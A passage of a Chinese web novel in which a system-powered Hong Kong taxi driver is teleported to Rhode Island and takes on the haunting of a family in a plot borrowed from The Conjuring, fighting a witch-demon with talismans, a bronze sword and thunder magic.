“看来以后得多找这种‘精英怪’才行,刷小怪效率太低了。”古德暗自琢磨。
关掉系统面板,古德决定眼不见心不烦。
阴德没了可以再赚,但活儿不能停。
他换好衣服,拿起车钥匙:“得,开工开工!”
“你我皆牛马,生在人世间,终日奔波苦,一刻不得闲。”
古德哼着改编的歌词,推开新家的门,阳光洒在他的出租车上,车身似乎比以往更加光亮了一些。
第121章 这就到异国他乡了?
“gogogo,出发了~”
古德系好安全带,轻踩油门,那辆经过系统升级、座椅舒适度堪比头等舱的红色出租车,平稳地驶离了元朗的小洋房,融入了清晨香港的车流中。
他一边开着车,一边感受着身下座椅传来的恰到好处的支撑感和微不可查的按摩波动,心里忍不住给系统点了个赞:
“嘿,你还真别说,这免费升级的座椅,确实舒服!开长途估计都不会累……”
然而,他这惬意的感慨还没持续半分钟,异变突生!
就在车子正常行驶过一个十字路口时,前方路面毫无征兆地出现了一个巨大的、如同水面漩涡般的扭曲空间门户!
那漩涡直径几乎与车身同宽,边缘闪烁着不稳定的蓝白色电弧,散发出强大的吸力!
“我靠!什么鬼东西?!”
古德瞳孔一缩,下意识猛踩刹车!
但已经来不及了!
出租车就像被一只无形巨手抓住,毫无反抗之力地被拽进了那个突然出现的漩涡之中!
瞬间的失重感和空间扭曲感让古德一阵头晕目眩。
古德心中警铃大作,第一个念头是:“不会吧?!又来?!难道我又要穿越了?!哎....我为什么要说又呢?”
就在他内心惊疑不定之际,脑海中响起了系统的提示音:
【叮!检测到符合条件的人物!随机全球传送服务启动!正在定位……定位成功!传送开始!请宿主系好安全带,享受本次跨洋之旅!】
古德稳住身形,忍不住在心里翻了个大大的白眼,吐槽道:
“享受你个鬼啊!你都已经开始传送了才说!我做什么准备?准备晕车吗?!”
眼前的流光溢彩和空间的剧烈波动只持续了短短几秒钟。
下一刻,所有的异常景象瞬间消失。
失重感褪去,轮胎重新传来了扎实的抓地感。
古德定睛一看,发现自己已经身处一条完全陌生的街道上。
周围的建筑风格与香港截然不同,多是些颇有年头的砖石结构楼房,街道更宽阔,行人稀少,空气中带着一丝清冷潮湿的气息,路牌上的文字也变成了英文。
他这辆出租车的外观,也不知何时自动发生了变化,从香港常见的红色车身,变成了一种更符合当地风格的、略显方正的深绿色出租车造型。
【叮!传送完毕!当前位置:阿妹利加国,罗德岛州,普罗卫登斯市。祝您旅途愉快,业务顺利!】
系统的提示音适时响起,确认了地点。
古德几乎是下意识地猛踩刹车,轮胎在略显陈旧的柏油路上发出轻微的摩擦声。
深绿色出租车缓缓滑向路边,最终停稳。
他还没来得及仔细打量窗外这完全陌生的异国街景,消化一下这“嗖”一下就从香港街头被扔到**之外的魔幻现实,就听到后座车门“咔哒”一声轻响,被人从外面拉开了。
一股冷风灌进车内,伴随着一个身影快速坐了进来。
那是个看起来三十出头的白人女性,面容憔悴得厉害,眼袋深重,像是连续熬了几个通宵。
她身上穿着一件朴素棕色外套,整个人缩在座位里,浑身散发着一种浓得化不开的焦虑和疲惫。
几乎就在她关上车门的同一瞬间,古德眼角的余光敏锐地注意到,另一侧的后车门也悄无声息地、仿佛被一阵阴风吹开般,自动打开了少许,又轻轻合上。
但那个上车的女人似乎完全没有察觉到任何异样。
女人坐稳后,用带着浓重当地口音的英语,语速很快地对古德说道:
“Please,gotoBrownUniversity.Asfastasyoucan,please!(请去布朗大学,越快越好,拜托了!)”
古德听得一愣,脑子里瞬间被这叽里呱啦的外语填满了。
他这才切身体会到什么叫“书到用时方恨少”,不对,是“话到听时方恨不懂”。
“靠!忘了还有语言隔离这茬!系统你搞跨国快递服务,也不配个自动翻译插件?太不人性化了!”
他在心里默默吐槽了一句。
不过,问题不大。
对于拥有系统的男人来说,这都不叫事儿。
他立刻集中精神,意念微动,唤出只有他自己能看到的半透明系统面板。
光幕流转,他快速找到了技能列表里那个略显灰色的图标英语LV0(未入门)】。
没有丝毫犹豫,他直接消耗了10点公里点数,将其升级到了【英语LV1(日常交流)】。
点数扣除的瞬间,一股温和却清晰的暖流突兀地涌入他的脑海,仿佛打开了某个开关,大量基础的英语词汇、常用句型、基本的语法规则如同早已学会却暂时遗忘的知识,此刻清晰地浮现出来,并且变得异常亲切。
虽然达不到文学翻译的水平,但进行日常对话、听懂指令已经完全没问题了。
他清了清嗓子,用刚刚掌握、还略带点生硬但足够清晰的英语,转头对后座的女人重复确认道:
“不好意思,女士,请再确认一下
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目的地?”(作者已经翻译成中文,请放心阅读)
那憔悴的女人似乎心事重重,只是疲惫地点了点头,声音低沉地再次确认:“是的,布朗大学,谢谢。”
她的目光有些涣散,时不时紧张地瞥一眼车窗外的后视镜,仿佛在担心什么。
“OK!”古德点了点头,挂上D挡,轻踩油门,车子平稳地汇入车流。
虽然他压根不知道布朗大学在这个城市的哪个角落,但……没关系,目的地是哪里不重要。
重要的是,他得先搞清楚旁边这位额外乘客是怎么回事,以及这女人知道不知道自己撞鬼了。
古德一边假装专注开车,一边不动声色地通过车内上方的后视镜,仔细观察着后座的情况。
此时的后座,除了那位焦虑的女士,还多了一位“乘客”。
那是一个穿着样式陈旧、甚至有些破烂的白色长袍的身影,长袍带着兜帽,将她的身形完全遮掩。
她静静地坐在女士旁边的空位上,低垂着头,宽大的兜帽投下的阴影完全遮住了她的脸,只能看到一双干枯得如同老树树根、毫无血色的手,手指交叉着放在膝上。
她周身散发着一股若有若无的、阴冷潮湿的气息,这种气息与古德熟悉的东方鬼物的阴煞之气有些不同,带着点……说不上来的腐朽和古老的味道,有点像电影里看到的西洋老巫婆。
“看来,这位就是这女人招惹的脏东西了。”古德心中了然。
系统把他直接传送到目标客户身边,这服务确实到位。
不过,古德心里很快有了决断。
既然来都来了,系统也判定这是个有需要的“客户”,那就按流程走,给这个女人一个选择的机会。
等会儿找个合适的地方,他会尝试和旁边这位“白袍老太婆”沟通一下,同时也看看这女人自己的反应和选择。
如果她不信邪,或者把他当成胡言乱语的疯子……那他也无所谓。
大不了就装傻,说自己是多重人格障碍,而且现在多重人格发作,已经不认识路,给她绕几圈,赚点基础公里数,然后找个借口让她下车再去打别的车。
毕竟,一个有多重人格的司机在阿妹国街头不太认路,不是很正常、很合理的事情吗?
古德的思绪一转而过,目光再次落在那安静得如同雕塑的白袍老太婆身上,眉头不自觉地微微皱起。
这玩意儿……看起来不像是普通的游魂野鬼,那股子阴邪气息,透着股西洋老巫婆的邪门味道,恐怕不太好打交道。
第122章 就这么水灵灵的相信了?
出租车平稳地行驶在罗德岛州普罗维登斯市的街道上。
午后的阳光透过道路两旁枝叶开始泛黄的树木,在车内投下斑驳的光影。
古德手握方向盘,目光看似专注在前方的路况上,但注意力始终通过车内后视镜锁定着后座那不同寻常的“两位”乘客。
那位憔悴的女士紧靠着车窗,她的眉头始终紧锁,双手不安地绞着挎包带子,时不时抬眼看向窗外熟悉的街景,又低头瞥一眼手腕上并不存在的手表,焦虑几乎从每个毛孔散发出来。
而她身旁,那个穿着陈旧白袍、头戴兜帽的老妪鬼影,则如同一个凝固的黑色剪影,自上车后就没有丝毫移动。
低垂的头颅让人无法看清面容,只有那股阴冷、腐朽的气息无声地弥漫在车厢后座,让温度都似乎降低了几度。
车子拐过几个弯,驶入一条相对安静、两侧皆是老式维多利亚风格住宅的林荫道。
这里并非通往布朗大学的主干道。
就在这时,后座的女士突然抬起头,脸上露出了明显的疑惑和一丝不安。
她身体前倾,凑近驾驶座与副驾驶之间的空隙,用带着质疑的语气问道:“不好意思,司机……你确定这是去布朗大学的路吗?我完全不认识这条路。”
古德轻咳了一声,暗道:“啧,被发现了。”
他面不改色,缓缓降低了车速,同时用一种平静而稳重的语气回答,刻意放慢了语速让她听清:“这个嘛,女士,问题是……我在等你身边另一位乘客的指示。”
“其他乘客?什么其他乘客?!”
那女士闻言,脸色瞬间变得煞白,声音陡然拔高,充满了惊恐,“这里没有别人!你是不是在吓唬我?!”
她下意识地猛地转头看向自己旁边的空位,然后又惊慌地看了看另一侧车窗。
空荡荡的座位似乎让她稍微松了口气,但古德那句话如同魔咒,让她心底的恐惧再次被勾起。
她最近经历的怪事实在是太多了……那些无法解释的声响、物品的莫名移动、还有家人接连不断的厄运……
突然,她像是想起了什么,身体猛地一僵,脸色变得更加难看,一种更深层次的恐惧从眼底蔓延开来。
她艰难地咽了口唾沫,声音带着颤抖,小心翼翼地向古德确认:“司机……你……你不是在开玩笑吧?我旁边……真的有人?”
古德通过后视镜,清晰地看到了她脸上表情的剧烈变化,知道她已经信了七八分。
他点了点头,语气肯定但尽量缓和地说:“是的,女士。有一位……嗯,一位老太太。”
他顿了顿,补充了最关键的一句,试图安抚她的情绪:“不过请放心,在这辆车里,她伤害不了你。你是安全的。”
那妇女将信将疑地盯着古德的后脑勺,试图从他的表情里找出欺骗的痕迹。
“真的吗?你没骗我?”
古德觉得是时候亮明身份了。
他缓缓将车彻底停靠在路边一棵大树下的安全区域,拉上手刹,然后转过身,正面看着她,脸上带着一种令人安心的平静,自我介绍道:
“我叫古德。来自大夏。目前嘛,我是一名全球飞的出租车司机,兼职捉鬼驱邪。你可以把我理解为……驱魔人。”
果然,一听到大夏和驱魔人这两个词,那妇女的眼睛瞬间亮了起来,脸上露出了混合着希望和难以置信的惊喜表情:
“古...德....god?天哪!你是上帝派来救我的吧?!我听说过东方有很多神奇的能力!你能……你能帮帮我吗?求你了!”
古德心里一愣,有点意外:“不是吧?这就信了?这么干脆?外国友人也太单纯了吧?一点防备心都没有的吗?”
他原本还准备了一套说辞来取信于人,没想到对方直接跳过了质疑阶段,进入了求助模式。
他保持着高深莫测的微笑,顺势进入了“谈生意”的模式,语气平和但带着一丝疏离:
“不是god,是古~德,不行你可以称呼我为古。这个嘛,助人为乐是我的本分,不过按照我们
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的传统,驱魔服务……需要相应的报酬。”
他说得比较委婉,但意思很明确。
那妇女立刻点头如捣蒜:“当然!当然!多少钱?您开个价,古先生!”
古德快速在心里盘算了一下。
这里是阿妹国,收的是美元。
他瞥了一眼这位女士的穿着。
普通的棉质外套,略显陈旧的手提包,看起来不像大富大贵之人。
他也不想狮子大开口把人吓跑,毕竟主要目的不是钱。
但价格也不能太低,显得自己这“全球驱魔”服务太掉价。
他想了想,随口报出一个带着点吉利数字的价格:
“三万八千八百美元。全包价。不议价。”
这个数字对于普通美国家庭来说,绝对是一笔不小的开支。
那妇女一听,脸色果然变了变,嘴唇抿紧,手指下意识地攥紧了衣角,显然感到了巨大的经济压力。
她沉默了几秒钟,眼神中挣扎着对超自然现象的恐惧和现实经济的窘迫。
最终,对家人安危的担忧、对近期怪事的极度恐惧压倒了一切。
她深吸一口气,重重地点了点头:好……好吧……成交。我会想办法凑齐的。”
古德其实并不太在意这笔钱能有多少,换算成港币,可能还不如他在香港宰几个迷信的富豪来得轻松。
他真正的兴趣点在于后座那个白袍老妪,那个西洋鬼魂!
这玩意儿新鲜啊!
不知道能不能像香江鬼魂一样,交给岚婆换成阴德?
要是可以的话,那他这全球捉鬼出租车才算有点意思,不然大老远跑过来,难道真是为了公费旅游看风景吗?
生意口头谈妥,古德心情不错。
他对着那位妇女点了点头,说道:“好的。那么,让我先和您旁边的这位……老太太聊一聊。看看她为什么如此粘着您。”
说完,他调整了一下坐姿,目光投向了那个一直如同背景般沉默的白袍老妪鬼魂。
车厢内的空气仿佛在这一刻凝固了。
第123章 这是招魂??
古德目光锁定那位白袍老妪,语气谈谈的道:
“喂,阿婆?刚才我们说的,你应该也听到了吧?咱们聊聊?”
那一直低垂着头的白袍老妪,闻言终于有了反应。
它缓缓地、带着一种令人牙酸的僵硬感,抬起了头。
兜帽阴影下,露出一张布满深深沟壑、皮肤如同老树皮般干枯皱褶的脸,五官扭曲,眼神空洞却透着实质般的恶意。
它面无表情地“盯”着古德,干瘪的嘴唇微微蠕动,用一种仿佛砂纸摩擦般的沙哑嗓音,缓缓吐出一个词:
“丝比……”
古德听得真切,眉头立刻皱了起来,心里有些不爽:
“死比?这老太婆,好好的怎么开口就骂人?我客客气气跟你说话,你上来就让我死?西洋鬼素质都这么差的吗?”
他强忍着不快,语气也冷了几分:
“喂,阿婆,好好说话不行吗?骂人干嘛?我就是想跟你谈谈。”
那白袍老妪听到古德的话,僵硬的脸部肌肉似乎抽搐了一下,但眼神中的恶意更盛,依旧用那种阴森森的语调重复道:
“丝比……!”
这下古德真有点恼火了:“还来?!没完了是吧?!”
他音量提高了一些,“你能不能好好交流?除了骂人不会说别的了?太没礼貌了!”
似乎是古德的反应彻底激怒了它,白袍老妪周身猛地散发出一股冰寒刺骨的阴邪气息!
车内的温度骤然下降了好几度!
车窗玻璃上甚至开始凝结出细密的霜花!
“阿嚏!”
坐在旁边的中年妇女被这突如其来的寒意冻得打了个哆嗦,下意识地抱紧了双臂,脸色惨白如纸。
虽然她看不见那个存在,但这物理层面的温度变化,让她彻底相信古德所言非虚。
自己身边,真的有一个看不见的“东西”!
巨大的恐惧攫住了她的心脏,她死死咬住嘴唇,强忍着推开车门逃跑的冲动,因为古德说过,在车里是安全的。
此刻,她只能选择相信这个神秘的东方司机。
那白袍老妪见古德无法沟通,又被古德的态度激怒,枯瘦如鸡爪的右手猛地抬起,五指弯曲,带着一股黑气,似乎就想隔着座位对古德做些什么!
然而,它的手刚抬到一半,就如同被无形的枷锁牢牢捆住,整个鬼瞬间僵在原地,动弹不得!
它那空洞的眼中第一次露出了惊疑不定的神色。
古德看着它徒劳挣扎的样子,脸上露出了然的笑容,慢悠悠地道:
“啧啧啧……阿婆,我说了,车上禁止打闹。这是规矩。”
显然是系统的【车内绝对安全空间】生效了。
白袍老妪尝试了几次,发现根本无法在车内对古德造成任何影响,它那扭曲的脸上闪过一丝忌惮和愤怒。
它深深地“看”了古德一眼,仿佛要记住这个搅局者的模样,然后,它周身黑气一敛,竟然缓缓地、无声无息地打开了另一侧的车门,身影一晃,便消失在了车外的空气中。
古德没想到它这么干脆就跑了,连忙喊道:“喂!别走啊!还没聊完呢!”
但已经晚了,那白袍老妪的气息彻底消失不见。
与此同时,后排的中年妇女猛地松了一口气,感觉一直压在心头和身体上的那股无形重担瞬间消失了,整个人都轻松了不少。她惊魂未定地看向古德:
“古……它……它走了吗?怎么回事?”
古德无奈地摸了摸鼻子,心里有点郁闷:
“亏了亏了!到手的公里数飞了!早知道应该把车门锁**!”
他叹了口气,对卡洛琳说:
“是啊,走了。本来想好好谈谈,但她一直很不礼貌,冲我嚷嚷‘死比!死比!’。估计她没什么谈话的兴致。”
中年妇女闻言,脸上露出困惑的表情:
“什么丝比?这好像不是骂人的词啊?它的意思就是‘请说’……”
“啊?”古德猛地一愣,“‘死比’就是‘说’的意思?不是骂人话?”
他仔细一回味,好像……好像还真是这么回事!
那个老巫婆好像一直重复在表达“丝比”,难道是在催促他“有话快说”?
闹了半天,是自己英语听力水平不过关,闹了个大乌龙?!
古德老脸一红,连忙在心里否认:
“不可能!绝对不可能!肯定是那个老巫婆发音不标准!或者它说的就是某种古老的诅咒之语!”
他赶紧咳嗽一声,转移话题:“咳咳!不管那个了。现在说说你的情况吧,你是怎么惹上……那东西的?”
中年妇女见古德不想再提,虽
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然疑惑,但也顺从地开始讲述,她的声音带着后怕和疲惫:
“我叫卡洛琳。我丈夫罗杰和我……我们在这里买了一栋老房子。我们和五个女儿住在那里。”
“奇怪的事情在我们搬进去后不久就开始了……”
她的眼神充满了恐惧,“我们的狗莫名其妙**……家里的钟总在凌晨三点零七分停下……我醒来身上会有莫名其妙的淤青……还在房子周围发现小动物……脖子都被扭断了……”
“我丈夫和女儿们也开始经历怪事……门自己砰地关上,恶臭,冰冷的区域……我非常害怕我的家人出事……”
“今天……今天我实在没办法了。我本来是要去找著名的驱魔人,埃德和罗琳·沃伦夫妇求助的……”
卡洛琳说到这里,声音哽咽,充满期盼地看向古德,“古,我很害怕我的女儿们……你能……你能带我回家吗?你能帮帮我们吗?”
听完卡洛琳的叙述,古德脑海中如同闪电般划过一个名字——《招魂》(TheConjuring)!
他顿时恍然大悟!
怪不得觉得这情节这么熟悉!
卡洛琳、罗杰、五个女儿、罗德岛的老房子、沃伦夫妇……这不就是《招魂》第一部开头的剧情吗!
“好家伙!我直接就一句好家伙,系统是会挑人的!”
他记得电影里沃伦夫妇虽然有名,但本质上更像是拥有一些灵异感知能力的“调查员”,像是最早的于子朗。
他们驱魔主要靠的是宗教仪式和信念,战斗力有限。
而刚才那个白袍老妪,恐怕不是普通鬼魂,而是电影里提到附身在卡洛琳身上的恶魔!
怪不得气息跟东方鬼物不太一样!
想到这里,古德非但没有害怕,反而更加兴奋起来:
“恶魔?这可是新品种啊!不知道一个恶魔能换多少阴德?应该能换吧?!”
他压下心中的激动,对卡洛琳露出一个让人安心的笑容:
“没问题。不过你得给我指路。当然,车费照算。”
卡洛琳如释重负地连连点头:
“当然!谢谢你,太感谢你了,古先生!”
她立刻开始为古德指路,方向正是她位于哈里斯维尔的那栋被诅咒的老房子。
出租车再次启动。
第124章 他应该不会把我加拆了吧?
按照卡洛琳指的路,古德将车停在了郊区一栋孤零零的房子前。
车轮碾过碎石路面,发出嘎吱的轻响。
眼前是一栋典型的美式二层木质结构洋房,看起来有些年头了,白色的油漆有些斑驳脱落,露出底下深色的木头。
房子占地不小,但前院杂草丛生,几株玫瑰早已枯死,只剩下带刺的枝干倔强地指向天空。
最让人感觉不舒服的是,这栋房子与邻居之间的距离隔得非常远,仿佛被刻意孤立了一般,透着一股说不出的荒凉和阴森。
古德按照计价器收了车费,推门下车。
午后的阳光在这里显得有气无力,空气里漂浮着灰尘和一丝若有若无的、像是什么东西腐烂了的甜腻气味。
他并没急着往房子走,而是站在原地,双手揣在裤兜里,微微眯起眼睛,暗中催动一丝法力流向双眼。
刹那间,他眼前的景象变了。
整栋房子被一股浓郁得如同实质的黑色怨气紧紧包裹着,那怨气不像普通的阴气那样散漫,反而像是有生命的粘稠液体,在房子的墙壁、屋顶上缓缓地流动、蠕动。
其中似乎还夹杂着一种更为深沉、更为恶毒的诅咒之力。
这股恶意强烈而纯粹,远超他在香港遇到过的绝大多数鬼宅。
“好家伙……这怨气浓度,都快赶上小型鬼蜮了。还自带诅咒,看来缠上这家的东西,确实有点道行。”古德心里暗自评估。
卡洛琳也下了车,快步走到古德身边,双手不安地握在胸前,脸上既有回到家的些许放松,更多的是无法掩饰的恐惧:
“古先生,我丈夫罗杰现在应该和孩子们在一楼的客厅里。我们……我们这就进去吧?”
她的声音带着细微的颤音。
古德点了点头,却转身走向车尾:“稍等一下,卡洛琳女士,我拿点吃饭的家伙。”
说完,他打开后备箱,取出了那个由纸扎陈特制的黑色长条琴盒。
盒子是哑光的,看起来沉甸甸的。
这玩意儿现在几乎成了他的标准装备。
卡洛琳看着古德郑重其事地背上那个硕大的琴盒,愣了一下,忍不住小声感叹了一句:
“古先生……您的驱魔工具,真是……别具一格。”
她想象中的驱魔,应该是拿着十字架和圣水,眼前这位却背着个像乐器盒的东西,实在有些超乎想象。
古德拍了拍坚硬的琴盒外壳,笑了笑:“家伙大点,心里踏实。走吧,带路。”
卡洛琳点点头,像是从中获得了一点勇气,转身领着古德,踏上了通往房子前门的小径。
然而,刚走出不到十步,古德敏锐的灵觉就捕捉到了异常。
随着卡洛琳逐渐靠近那栋房子,一丝丝极其细微、几乎难以用肉眼察觉的黑色能量丝线,如同嗅到血腥味的蚂蟥,从房屋的门窗缝隙中悄然飘出。
这些黑气仿佛拥有意识,精准地朝着卡洛琳汇聚,并试图无声无息地渗入她的体内。
卡洛琳的身体对这些充满恶意的能量似乎毫无排斥,甚至显出一种诡异的“亲和”与“接纳”。
她的气场显得虚弱而不设防,仿佛这些黑气回归本源一般,与她融为一体。
这种不设防的状态,让她极易受到侵蚀和控制。
古德眉头立刻紧锁,脑中瞬间闪过了《招魂》系列电影中的关键情节。
卡洛琳最终会被那个古老的女巫恶魔附身,成为它在人间的傀儡和载体!
“卡洛琳!等一下!”古德立刻出声叫住了她。
卡洛琳闻声停下脚步,疑惑地转过身来:“怎么了,古先生?”
她的脸上带着不解,对自己身上正在发生的微妙变化浑然未觉。
就在卡洛琳转身的刹那,古德猛地感到一股充满恶毒、贪婪和得意意味的视线从上方投来!
他立刻抬头,锐利的目光瞬间锁定二楼一扇拉着旧纱帘的窗户。
只见那个白袍老妪正站在窗后,那张扭曲狰狞的脸上,露出一个极其阴冷和得意的笑容,猩红的眼睛死死盯着卡洛琳,仿佛在看一件即将到手的完美容器!
“呵!”古德冷笑一声,收回目光,转而表情极其严肃地对卡洛琳说道:
“卡洛琳,听着,你现在的状态非常不对。这栋房子对你的影响远超我们的想象。
有一股极其邪恶的力量正在试图侵蚀你、控制你的心智,想把你变成它的傀儡。
为了你的安全,你绝对不能现在进去。你立刻回到出租车里等着,锁好车门。我去把你丈夫罗杰和孩子们安全带出来。”
看着卡洛琳瞬间变得惨白、写满惊恐和难以置信的脸色,古德放缓了语气,但动作迅速地从随身携带的帆布挎包里掏出一张折叠成三角状的明黄色护身符,递了过去:
“还有,把这个拿着,紧紧握在手心里,无论如何不要松开。”
古德此举意在试验。
他秉持着“万变不离其宗”的想法,认为东西方的邪祟或许在外在形态和文化背景上差异巨大,但它们侵害活人、汲取生命能量的本质应该是相通的。
这护身符的原理在于激发佩戴者自身的阳气,并结合符咒之力形成一层无形的保护场,属于一种被动的能量防御。
无论来袭的是东方的诅咒还是西方的恶魔,想要直接伤害佩戴者,首先得突破这层“能量护盾”。
果然,当卡洛琳有些迟疑地、用微微颤抖的手接过那张看似普通的黄纸,并依言紧紧握在掌心后,奇妙的变化立刻发生了!
那些原本如同附骨之疽般试图渗入她体内的黑色丝线,在接触到她身体表面突然泛起的一层微不可见的淡金色光晕时,仿佛冷水滴进了热油锅,发出细微的“滋滋”声,被猛地弹开、驱散!
它们只能在她身体周围一尺远处徒劳地盘旋、缠绕,
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再也无法靠近分毫!
而与此同时,她手中那张明黄色的符纸,边缘开始迅速卷曲、焦黑,并散发出淡淡的焦糊味。
符纸本身更是以肉眼可见的速度,从边缘向中心缓慢地自燃起来,化为细小的灰烬飘落!
卡洛琳惊恐地瞪大眼睛看着手中正在燃烧的符纸,她能清晰地感觉到,自从紧紧握住这张符纸开始。
一直沉重压在她心头、让她几乎喘不过气来的阴冷感和莫名的压抑感,竟然像被阳光驱散的雾气般,明显减轻了许多!
一种久违的、微弱的安全感悄然浮现。
而这种神奇的变化,正是以手中符纸的迅速燃烧为代价!
“这……这是什么?它、它在烧!”
卡洛琳的声音带着剧烈的颤抖,既是恐惧,也夹杂着一丝看到希望的激动。
“一种东方的保护符咒,它能帮你抵挡邪恶力量的侵蚀。你看,它正在起作用。”
古德见护身符有效,心中一定。
护身符的剧烈反应印证了他的判断,东方的道法对西方的邪祟同样有效,能量层面存在某种共通性。
“现在,听我的,回到车里去,锁好车门。无论听到什么声音,除非是我叫你,否则不要出来。”
古德语气坚决。
卡洛琳这次没有丝毫犹豫。眼前这超自然的一幕和身体真切的感受,让她对古德的话深信不疑。
她连忙点头,紧紧攥着已经开始燃烧一小半的护身符,快步跑回了出租车内,并按照古德的指示锁好了车门。
支走了可能成为“突破口”的卡洛琳,古德脸上的轻松神色收敛。
他转过身,独自面对那栋如同匍匐的凶兽般散发着冲天怨气的鬼屋,眼神变得锐利而专注。
古德右手在琴盒的卡扣上轻轻一拍!
“咔嚓!”
一声清脆的机括轻响,琴盒盖应声弹开一条缝隙。
一抹深沉古朴的青铜色寒光映入眼帘,那柄经过修复和温养的青铜法尺剑正静静躺在其中。
古德反手伸入盒中,五指收拢,稳稳地握住那冰凉而熟悉的剑柄。
一股血脉相连般的踏实感和磅礴的力量感瞬间从掌心传遍全身。
他将沉重的法尺剑提在手中,感受着那份沉甸甸的分量,然后“啪”地一声重新合上琴盒盖,将其稳稳背在身后,里面还装着其他可能用到的符箓和小法器。
在出租车内卡洛琳震惊而呆滞的目光中,古德就这样单手拎着一把造型古朴、看起来又长又重的东方青铜古剑,神情自若地迈步走向那栋散发着冲天怨气的鬼屋。
看着古德提剑而去的背影,卡洛琳在安心之余,心里突然不受控制地冒出一个古怪的、带着点黑色幽默的念头:
“这位古先生……他等会儿驱魔的时候,应该不会……一个不小心,把我家的房子给拆了吧?”
这个担忧,似乎并非毫无道理。
第125章 进入房子后.....
古德深吸一口气,体内液态法力珠缓缓流转,一层薄薄却凝实如实质的金色光晕自他体表自然浮现,并不刺眼,却带着一股凛然不可侵犯的威严,如同给他披上了一层神圣的甲胄。
金光如有灵性般,顺着他的手臂经络迅速蔓延至手中紧握的青铜法尺剑。
那古朴的剑身一接触到这至阳至刚的法力,顿时蒙上了一层璀璨而不失厚重的金辉,剑身甚至发出了细微却清越的嗡鸣声,仿佛沉眠的灵物被唤醒,渴望着斩妖除魔。
他迈步走向那栋被浓重怨气包裹的房子。
越靠近房子,空气中弥漫的无形阻力就越发明显。
粘稠得如同胶水般的恶意从四面八方涌来,化作无数冰冷的、带着窥探意味的触手,试图缠绕上他的四肢,侵蚀他的意志。
然而,这些邪祟之力在触碰到他周身那层看似淡薄、实则坚不可摧的金光时,便如同冰雪遭遇烈阳,发出“嗤嗤”的轻微灼烧声,迅速消融、退散,根本无法近身分毫。
走到紧闭的房门前,古德伸出左手推了推,门纹丝不动,显然是被阴气锁**。
“呵,又是这种小把戏。”
古德心中冷笑一声,想起了以前那些喜欢关门挡人的邪祟。
要是放在两个月前,他道行尚浅时,遇到这种情况,可能还得费点功夫用糯米、画符破锁。
但现在?
他右手稳稳握住金光流转的法剑,左手掌心暗运巧劲,五指微张,轻轻按在冰凉的门板上,体内法力微微一吐,低喝一声:“开!”
话音未落,只听门板内部传来“咔嚓”一声清脆的断裂声响,显然是锁舌或门栓被一股柔中带刚的巨力瞬间震断!
紧接着,厚重的大门被这股力量猛地向内推开,重重地撞在门厅的墙壁上,发出“咣当”一声巨响,这声音在死一般寂静的房子里显得格外刺耳,来回震荡。
几乎就在门被撞开的同一时间,从房子深处传来一阵小女孩惊恐至极的尖叫声!
古德眼神一凛,脚下发力,身形如猎豹般窜出!
他提着金光闪耀的法剑,三两步便穿过昏暗的门厅,循着声音冲到了一个宽敞却阴森的一楼客厅。
眼前的景象简直脱离了牛顿的引力定律。
一个看起来只有七八岁大、穿着粉色小睡衣的金发小女孩,竟然双脚离地,悬浮在离地板约半米高的半空中!
她的四肢像是被无数看不见的丝线拉扯着,极不自然地、痉挛般地挥舞、扭动,整个人如同一个被无形之手肆意操控的提线木偶,在空中无助地上下起伏、甚至快速旋转!
她那张可爱的小脸因为极度的恐惧而扭曲,发出撕心裂肺的尖叫,眼泪鼻涕糊了满脸。
而在客厅最深处、光线最为阴暗的角落阴影里,那个穿着破旧白袍的老妪,现在的女巫恶魔的身影清晰可见。
它佝偻着干瘦的身体,脸上布满了残忍而愉悦的狞笑,那双枯瘦如同鸡爪的双手,正有节奏地、一下下地在空中摆动、牵引,显然正是它在远程操控、**着那个可怜的小女孩,以此为乐。
“找死!”
古德见状,眉头瞬间拧紧,胸中一股怒意升起,没有丝毫犹豫,左手闪电般探入随身挎包,指尖夹出一张斩鬼符!
他手腕一抖,符箓无火自燃,化作一道凌厉的金色光刃,撕裂空气,直奔角落的女巫恶魔而去!
那女巫恶魔见到金光袭来,脸上那残忍的狞笑丝毫未变,只是带着几分轻蔑与不屑,随意地抬了抬枯瘦的手腕。
霎时间,一股浓郁得如同化不开的墨汁、散发着刺骨寒意的黑气凭空涌现,迅速在它身前凝聚、塑形。
眨眼间便形成了一面仿佛能吸收一切光线的黑暗盾牌,稳稳地挡在了金色光刃的必经之路上。
“嘭——!”
金色光刃与黑暗盾牌猛烈碰撞,发出一声沉闷如擂鼓般的巨响!
两股性质截然相反的能量在接触点激烈地冲突、挤压、湮灭,产生的能量激荡如同涟漪般向四周扩散。
吹得客厅里厚重的天鹅绒窗帘猛地扬起,猎猎作响,连壁炉架上的小摆件都微微震颤。
金光最终耗尽能量而消散,而那面黑气盾牌也在剧烈波动后,被打散了大半,颜色黯淡了许多。
与此同时,半空中那个被无形之力操控的小女孩,仿佛瞬间切断了所有提线,“噗通”一声从离地半米的高度摔落下来,跌在柔软但陈旧的地毯上。
旁边几个早已吓傻
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、面色惨白如纸的家人这才从极度的惊恐中惊醒,手忙脚乱地扑上去,紧紧抱住了惊魂未定、嚎啕大哭的孩子,用自己的身体将她护在中间。
女巫恶魔将目光完全从小女孩身上移开,彻底投向了古德。
它那双猩红的、如同燃烧炭火般的眼睛里,原本的残忍和怨毒并未减少,但却多了一丝……难以掩饰的兴奋和贪婪?
它再次挥动那双干枯得如同树枝的手,口中发出低沉而晦涩、仿佛来自深渊的咒语般的嘶嘶声。
顿时,整个客厅的温度骤降,仿佛瞬间进入了冰窖!
四周墙壁、家具投下的阴影仿佛活了过来,更加浓郁、更加粘稠的黑气从四面八方汇聚、翻涌,如同无数条黑色的毒蛇,蠕动着、交织着,从四面八方向古德包围过来。
整个客厅的光线以肉眼可见的速度迅速暗淡下去。
古德眉头紧皱,心中暗惊:
“不对劲!非常不对劲!之前在出租车用灵觉感应时,这东西散发出的阴气强度,最多也就是厉鬼巅峰的层次,虽然难缠,但还在可控范围。
怎么一回到这栋老巢,它的力量就像是被注入了强心针一样暴涨?这阴气的精纯度和总量……
分明已经达到了老牌‘摄青鬼’的层次!比那个靠吞噬老道士勉强提升的怪谈协会水货会长,强了不止一筹!”
看来,这栋房子就是它的力量源泉,是它的领域!
在这里,它的实力得到了极大的增幅!
“放肆!”
古德一声低喝,压下心中的惊讶,体内法力狂涌!
他右手紧握金光大盛、嗡鸣不已的青铜法剑护住周身,左掌五指并拢,掌心向内,骤然蓄力,将一股精纯的法力凝聚于劳宫穴,然后猛地向前一推!
“噼啪——!”
一道刺眼的湛蓝色雷光自他掌心迸发而出,如同一条咆哮的雷蛇,带着至阳至刚、破灭万邪的威势,直射女巫恶魔!
正是**!
